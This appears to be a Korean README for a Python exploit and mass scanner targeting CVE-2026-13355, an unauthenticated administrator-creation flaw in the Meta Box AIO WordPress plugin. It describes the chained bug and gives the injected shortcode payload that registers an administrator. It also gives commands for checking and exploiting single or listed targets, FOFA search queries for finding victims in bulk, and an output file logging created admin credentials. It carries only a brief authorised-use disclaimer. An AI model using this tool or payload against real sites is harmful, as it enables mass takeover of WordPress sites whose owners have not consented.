
CVE-2026-13355에 대한 Python PoC 스캐너 및 익스플로잇으로, Meta Box AIO WordPress 플러그인의 인증되지 않은 관리자 권한 상승 취약점이며, FOFA 대량 스캔 기능을 포함합니다.
Python 3 스캐너 및 익스플로잇 개념 증명(PoC)으로, WordPress 번들 Meta Box AIO(및 관련 MB Frontend Submission / MB User Profile 확장)의 CVE-2026-13355 를 대상으로 합니다.
| 플랫폼 | WordPress 플러그인 |
| 구성 요소 | Meta Box AIO |
| 영향 받는 버전 | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| 수정 버전 | Meta Box AIO 3.12.0+ (Form::process() 권한 부여) |
| CVSS | 9.8 Critical |
| 인증 | 비인증 |
| CWE | CWE-269 — 부적절한 권한 관리 |
| 연구자 | h0xilo (Wordfence) |
두 개의 번들 확장에 연쇄된 결함으로 인해 비인증 관리자 계정 생성이 가능합니다:
mbfs) — rwmb_frontend_field_object_id가 인증 없이 폼 대상을 재정의합니다; Form::process()가 user_can_edit()를 생략하므로, 공격자는 wp_update_post()를 호출하여 임의의 게시물/페이지의 post_content 를 덮어쓸 수 있습니다.mbup) — 주입된 [mb_user_profile_register role="administrator" auto_login="true"] 숏코드 속성이 역할 검증 없이 신뢰됩니다.중요: 익스플로잇 체인은 로그인 전용 mbup 폼이 아닌 공개 mbfs(프론트엔드 제출) 폼을 필요로 합니다. 많은 FOFA 검색 결과는 mbup 로그인/등록 UI만 노출하며, 이들은 plugin_mbup_only로 표시되며 이 체인으로는 익스플로잇할 수 없습니다.
pip install -r requirements.txtpip install -r requirements.txt
# 단일 대상 — 검사 (기본적으로 라이브 터미널 흐름)
python poc.py -u https://target.example --mode check
# 대량 검사 (--quiet가 아니면 대상당 한 줄)
python poc.py --list targets.example.txt --mode check --threads 20
# 단일 대상 — 익스플로잇 (mbfs 폼 URL + 게시물 ID 필요)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# 검사 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
예시 쿼리:
body="/wp-content/plugins/meta-box-aio/"
FOFA CSV 내보내기 정규화:
python fofa_to_list.py -i fofa_export.csv
# list.txt + 정규화된 CSV 생성 (로컬 전용, gitignore됨)
python poc.py --list list.txt --mode check --threads 20
익스플로잇 실행 시 --vuln-list exploited.txt 를 사용하여 hits.txt의 검사 적중이 덮어쓰이지 않도록 하십시오.
status 값?rwmb_frontend_field_object_id=<id>와 함께 mbfs 폼을 통해 post_content를 POST합니다.mbfs 폼은 실제 post_content 필드가 없는 경우가 많으며, 실제로는 덮어쓰기가 실패할 수 있습니다..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 스캔 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits*.txt, …)은 .gitignore에 포함되어 있으며 커밋해서는 안 됩니다.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.
| 옵션 | 설명 |
|---|
-u, --url | 단일 기본 URL |
--list | URL 목록, FOFA 정규화 CSV(url 열), 또는 candidates.jsonl |
--mode | check 또는 exploit |
--form-url | [mb_frontend_form ...] / mbfs-form이 있는 페이지 |
--object-id | rwmb_frontend_field_object_id용 게시물/페이지 ID |
--paths | 프론트엔드 폼을 크롤링할 추가 경로 |
--username, --email, --password | 등록 자격 증명 (익스플로잇) |
--shortcode | 주입된 post_content 페이로드 (기본 관리자 등록 숏코드) |
--verify | 등록 후 /wp-admin/ 또는 wp-login.php를 통해 확인 |
--flow | 대량 실행 시 대상당 한 줄 스트리밍 (기본값: --list 사용 시) |
--no-flow | 진행 요약만 표시 |
--quiet, -q | 최소 콘솔 출력 |
--threads, -j | 대량 동시성 (기본값 15) |
--output | JSONL 로그 (기본값 cve_2026_13355_results.jsonl) |
--vuln-list | 텍스트 적중/익스플로잇된 줄 (기본값 hits.txt / 익스플로잇 시 exploited.txt 사용) |
--candidates-list | 검사 메타데이터 JSONL (기본값 candidates.jsonl) |
| 파일 | 모드 | 내용 |
|---|
cve_2026_13355_results.jsonl | 둘 다 | 대상당 전체 JSON |
hits.txt | check | candidate_mbfs 가 있는 URL |
candidates.jsonl | check | form_url, object_id, 버전 힌트 |
exploited.txt | exploit | url|user|email|pass|oid=… |
| 상태 | 의미 |
|---|
candidate_mbfs | 플러그인 존재 + MB Frontend Submission 폼 발견 (익스플로잇 가능성 있음) |
plugin_mbup_only | User Profile 로그인/등록 폼만 존재 — 이 CVE 체인 아님 |
plugin_no_frontend_forms | 플러그인 지문 확인됨, rwmb 프론트엔드 폼 발견되지 않음 |
patched | 영향 범위를 초과한 버전 (읽을 수 있는 경우) |
no_plugin | Meta Box AIO / 확장이 감지되지 않음 |